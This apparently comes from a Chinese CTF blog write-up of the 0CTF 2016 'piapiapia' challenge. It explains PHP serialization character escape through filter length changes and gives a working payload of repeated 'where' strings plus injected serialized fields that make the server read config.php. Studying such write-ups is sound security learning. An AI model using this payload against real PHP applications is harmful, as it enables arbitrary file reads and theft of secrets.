[0CTF 2016]piapiapia总结(PHP序列化长度变化导致尾部字符逃逸)

这道题感觉很难,要是比赛中出这种题我肯定做不来,所以我耐着性子慢慢分析这道题,最后居然自己做了个七七八八,只剩下一点点就完全做出来了。

下面把我做这道题时的思路一步一步记录下来,希望能够彻底巩固。


一,信息收集

拿到题没有什么思路,先找找线索,从源码和题目里没看到什么提示。

试了试万能密码登录也无果,然后试着扫目录和用burp抓包找提示。

发现有www.zip源码泄露。


二,分析源码

对于代码审计一我直以来都是懵逼的,特别是看到大佬写的这道题代码量很少时,我的内心是崩溃的。

一个文件一个文件看对于我这种菜鸡是不现实的,直接用seay扫,看到报告我松了口气,只有四个可能的漏洞。在这里插入图片描述
然后开始分析各个漏洞的可能性,我一眼就看到了第三个的file_get_contents()函数,这个函数因为考的最多,而且我也比较熟悉。

然后打开profile.php开始分析,在这里插入图片描述
可以发现,这个函数接受的是profile数组中的photo的值,只要这个参数是可控的我们就能实现任意文件读取。

于是我开始寻找$profile['photo'])这个变量是从哪里来的,
在这里插入图片描述
最后发现来自于这行代码,可惜的是不可控。

$profile['photo'] = 'upload/' . md5($file['name']);

在寻找的过程中我还发现comfig.php里面有flag。
在这里插入图片描述
因为我们down的代码和服务器上的代码是不一样的,所以这里的flag在服务器上应该记录的是我们需要的flag,结合之前的分析,只要使用file_get_contents()函数读取config.php就能拿到flag。

但是问题是这个函数里的参数不可控,这个时候就要用到这道题的知识点——PHP序列化长度变化导致尾部字符逃逸


三,PHP序列化长度变化导致尾部字符逃逸

在做这道题之前我是不知道这个知识点的,看了大佬的解读,然后自己敲了一遍很快就理解了这个知识点。

这里我看的是https://www.jianshu.com/p/3b44e72444c1的例子

原理很简单:

1,下面是正常序列化一个数组:
在这里插入图片描述2,然后在单词Northind中间加了几个字符"""";},但是前面的部分a:1: {i:0;s:8:"North"""";}刚好符合反序列化的格式,所以后面的部分ind";}' ;就被抛弃了。
在这里插入图片描述
3,应用,利用该漏洞修改签名。

<?php

	$username = $_GET['username'];
	$sign = "hi guys";
	$user = array($username, $sign);

	$seri = bad_str(serialize($user));

	echo $seri;

	// echo "<br>";

	$user=unserialize($seri);

	echo $user[0];
	echo "<br>";
	echo "<br>";
	echo $user[1];


	function bad_str($string){
		return preg_replace('/\'/', 'no', $string);
	}

在这里插入图片描述

这里的username是我们可控的,而sign签名是固定的hi guys,我们先正常传参username=admin

在这里插入图片描述

但是如果在用户名处加上单引号,则会被程序转义成no,由于长度错误导致反序列化时出错。
在这里插入图片描述

我们可以尝试利用这个错误来修改签名:

替换前,我们传入username=admin'''''''''''''''''''";i:1;s:5:"no hi";}

a:2:{i:0;s:43:“admin’’’’’’’’’’’’’’’’’’’”;i:1;s:5:“no hi”;}";i:1;s:7:“hi guys”;}

红色为用户名部分,其中";i:1;s:5:"no hi";}是要逃逸的。蓝色为要被丢弃的部分。

替换后,单引号'被替换为no:

a:2:{i:0;s:43:“adminnonononononononononononononononononono”;i:1;s:5:“no hi”;}";i:1;s:7:“hi guys”;}

红色为用户名部分,因为替换前用户名长度等于替换后的,所以能正常反序列化。蓝色为被丢弃的部分。
在这里插入图片描述可以看到,签名部分从hi guys变成了no hi


四,利用该漏洞解题

因为这道题的username恰好也是我们可控的,而使用file_get_content()函数之前也进行了序列化,所以可以利用这个漏洞。
在这里插入图片描述
在这里插入图片描述
这里我们输入的username还经过了过滤,如果输入where被替换为hacker会导致长度加1。
在这里插入图片描述

先看看这里序列化的格式是什么

<?php
$profile['phone'] = '01234567890';
$profile['email'] = '1@1.1';
$profile['nickname'] = 'admin';
$profile['photo'] = 'upload/01234567890123456789012345678912';
echo serialize($profile);
#a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:5:"1@1.1";s:8:"nickname";s:5:"admin";s:5:"photo";s:39:"upload/01234567890123456789012345678912";}

可以看到序列化之后应该是这个格式,因为MD5之后肯定是32位,所以我就直接用长度为32的数字代替了,其他参数都是我注册时使用的参数。

a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:5:"1@1.1";s:8:"nickname";s:5:"admin";s:5:"photo";s:39:"upload/01234567890123456789012345678912";}


我们的目的就是把upload/01234567890123456789012345678912改为"config.php,而";}s:5:“photo”;s:10:“config.php”;}是34个字符,所以只需要在前面加上34个where就行了。我们传进去nickname之后,序列化之后应该是以下格式:

替换前:
a:4:{s:5:“phone”;s:11:“01234567890”;s:5:“email”;s:5:“1@1.1”;s:8:“nickname”;s:5:“wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere”;}s:5:“photo”;s:10:“config.php”;}";s:5:“photo”;s:39:“upload/01234567890123456789012345678912”;}

红色为我们输入的用户名部分,蓝色为被丢弃的部分。

替换后:
a:4:{s:5:“phone”;s:11:“01234567890”;s:5:“email”;s:5:“1@1.1”;s:8:“nickname”;s:5:“hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker”;}s:5:“photo”;s:10:“config.php”;}";s:5:“photo”;s:39:“upload/01234567890123456789012345678912”;}

红色为替换后的用户名部分,蓝色为被丢弃的部分。


所以构造payload为wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
就可以实现以上目的

注册之后登陆,进入到update.php页面,bp抓包把nickname改为数组。
在这里插入图片描述
最后访问profile.php查看源码,把base64的内容解码就可以得到flag了。

在这里插入图片描述在这里插入图片描述

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值